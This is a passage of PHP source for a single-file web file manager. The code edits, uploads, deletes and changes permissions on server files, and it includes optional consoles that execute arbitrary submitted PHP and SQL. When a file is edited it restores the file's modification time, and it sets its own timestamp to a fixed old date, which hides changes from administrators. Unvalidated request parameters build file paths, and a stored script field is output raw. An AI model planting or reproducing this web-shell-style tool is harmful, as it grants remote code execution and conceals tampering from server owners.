	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jk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vvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif(!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) touch(__FILE__,1415116371); 
		else touch($fn,$filemtime);
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<?=$auth['script']?>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
